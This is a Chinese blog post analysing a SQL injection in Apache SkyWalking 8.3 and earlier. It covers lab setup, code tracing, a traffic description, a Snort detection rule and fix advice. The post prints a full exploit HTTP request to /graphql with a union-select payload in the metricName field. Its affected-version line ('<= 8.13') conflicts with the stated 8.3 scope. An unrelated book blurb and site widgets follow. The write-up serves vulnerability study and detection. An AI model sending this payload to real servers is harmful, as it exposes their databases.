Apache Skywalking <= 8.3 SQL注入(漏洞分析|snort规则编写)

Apache Skywalking <=8.3 SQL注入(漏洞分析|snort规则编写)

*一、漏洞概述 **

*1.1 漏洞简介*

·漏洞名称:Apache Skywalking <=8.3 SQL注入

·漏洞编号:\

·漏洞类型:SQL注入漏洞

·漏洞威胁等级:超危

·影响范围:Apache Skywalking <=8.3

·利用条件:默认配置

*1.2 组件描述*

Apache SkyWalking 是一款应用性能监控(APM)工具,对微服务、云原生和容器化应用提供自动化、高性能的监控方案。项目于 2015 年创建,并于 2017 年 12 月进入 Apache 孵化器。

Apache SkyWalking 提供了分布式追踪,服务网格(Service Mesh)遥感数据分析,指标聚合和可视化等多种能力。项目覆盖范围,从一个单纯的分布式追踪系统,扩展为一个可观测性分析平台(observability analysis platform)和应用性能监控管理系统。

*1.3 漏洞描述*

基于CVE-2020-9483、CVE-2020-13921,由于修补并不完善,导致被发现还存在一处SQL注入漏洞。

*二、漏洞复现*

*2.1 应用协议*

http

*2.2 环境搭建*

1.利用vulhub的环境:

wget https://github.com/vulhub/vulhub/blob/master/skywalking/8.3.0-sqli/docker-compose.yml

docker-compose up -d

2.然后访问8080端口,出现如下证明正常启动服务

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-p7A9NmiV-1692604254941)(image-20230821101413122.png)]

*2.3 漏洞复现 **

1.首页抓包,将post body部分内容写入payload

exp:

POST /graphql HTTP/1.1
Host: 192.168.91.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 608
Origin: http://192.168.91.128:8080
Connection: close
Referer: http://192.168.91.128:8080/

{
    "query":"query queryLogs($condition: LogQueryCondition) {
  queryLogs(condition: $condition) {
    total
    logs {
      serviceId
      serviceName
      isError
      content
    }
  }
}
",
    "variables":{
        "condition":{
            "metricName":"INFORMATION_SCHEMA.USERS union all select  database())a where 1=? or 1=? or 1=? --",
                        "endpointId":"1",
                    "traceId":"1",
                    "state":"ALL",
                    "stateCode":"1",
            "paging":{
                "pageSize":10
            }
        }
    }
}

2.报错

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NIVxwOHb-1692604254942)(image-20230821105319818.png)]

*三、漏洞分析*

*3.1 技术背景*

\

*3.2 代码分析*

  1. 当请求/graphql路由时,会交由org.apache.skywalking.oap.query.graphqldopost处理[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zsW11JgD-1692604254943)(image-20230821103856509.png)]

2.dopost获取请求的json数据

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qB02jDyg-1692604254943)(image-20230821104001980.png)]

3.因为是向querylogs发起查询请求,所以就走到org.apache.skywalking.oap.query.graphql.resolverLogQuery.queryLogs的方法,返回时调用getQueryService().queryLogs方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7LXTBUKX-1692604254943)(image-20230821104102454.png)]

4.接着走到org.apache.skywalking.oap.server.core.queryLogQueryService类的queryLogs方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-F1W0UjTi-1692604254944)(image-20230821104138495.png)]

5.通过调用getLogQueryDAO方法,获取一个ILogQueryDAO对象,进行计算该表达式可知,返回一个h2client

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GWa84RMZ-1692604254944)(image-20230821104210009.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4LhQWW1v-1692604254944)(image-20230821104230370.png)]

6.H2LogQueryDAO继承了ILogQueryDAO接口,所以最终走入H2LogQueryDAO类的queryLogs方法,拼接metricName

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JgAUsHQD-1692604254945)(image-20230821104244648.png)]

7.然后执行查询

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rmlNns6o-1692604254945)(image-20230821104327181.png)]

8.buildCountStatement将sql语句拼入select count:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MioqvPhv-1692604254946)(image-20230821104346022.png)]

9.我们执行h2Client.executeQuery(),便可以得到报错

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Oa0CrtmD-1692604254946)(image-20230821104425186.png)]

*3.3 流量分析 **

POST请求,注入地址位首页/graphql,其中请求body部分调用quertLogs,内容位json格式,在metricname后有很明显的sql注入语句,相应包中会出现"error"报错字段

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MlYgokRh-1692604254947)(image-20230821112525496.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9NTbzTdf-1692604254947)(image-20230821112733312.png)]

*四、漏洞检测*

*4.1 组件版本自检*

以下版本受该漏洞影响:<= 8.13

目前最高版本:8.16

*4.2 漏洞检测规则、插件编写思路*

以下为该漏洞请求包特征

1./graphql

2.query queryLogs

3.LogQueryCondition

4.pageSize

5.“metricName”:“SQL_payload”

使用snort规则编写:

alert tcp any any -> any any (content:"/graphql";content:"query queryLogs";content:"LogQueryCondition";pcre:"/\"metricName\":[^\'](select|from|database|version|h2|schema|information|user|table|column|union|and|or)/i";content:"pageSize";msg:"您已受到Apache_Skywalking_SQL注入漏洞攻击";sid:1000001;)

*4.3 研判建议 **

观察相应包body是否报错出敏感信息

*五、防范建议*

*5.1 官方修复建议*

1、升级Apache Skywalking 到最新的 v8.4.0 版本。

2、将默认h2数据库替换为其它支持的数据库。

*5.2 临时修复建议*

写入过滤规则,黑名单等

六、*参考链接*

https://www.anquanke.com/post/id/231753

**七、备注

本文只涉及该漏洞SQL注入部分

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Apache SkyWalking 是一个开源的应用性能监控和观测平台,它支持分布式系统、微服务架构和容器化环境的性能监控。通过监控系统的请求流和调用链,它可以帮助开发者和运维人员快速定位和解决性能问题,提高应用的稳定性和可靠性。 《Apache SkyWalking实战PDF》是一本关于使用 Apache SkyWalking 进行应用性能监控实践的电子书。该书通过详细介绍 SkyWalking 的工作原理、部署和配置方法,以及如何使用 SkyWalking 进行性能监控和问题排查,帮助读者全面了解和掌握 SkyWalking的使用技巧。 《Apache SkyWalking实战PDF》主要包括以下内容: 1. Apache SkyWalking 的概述和特性:介绍了 SkyWalking 的基本原理和功能,包括请求追踪、性能指标监控、告警和日志分析等。 2. SkyWalking 的部署和配置:详细介绍了如何在各种环境下(包括单机和分布式环境)部署和配置 SkyWalking,包括安装和运行 SkyWalking 服务器和探针。 3. 实践案例和示例:通过实际的案例和示例,展示了如何使用 SkyWalking 进行性能监控和问题排查。包括如何分析请求的调用链、如何根据性能指标进行优化、如何发现和解决性能瓶颈等。 4. SkyWalking 的进阶内容:介绍了 SkyWalking 的高级功能和扩展,如分布式追踪、服务拓扑图、故障定位和容量规划等。 通过阅读《Apache SkyWalking实战PDF》,读者可以了解如何快速搭建和使用 SkyWalking 进行应用性能监控,提高应用的性能和可靠性,解决和预防性能问题。这对于开发者、运维人员和系统架构师来说都是一本实用的参考书。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tkite

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值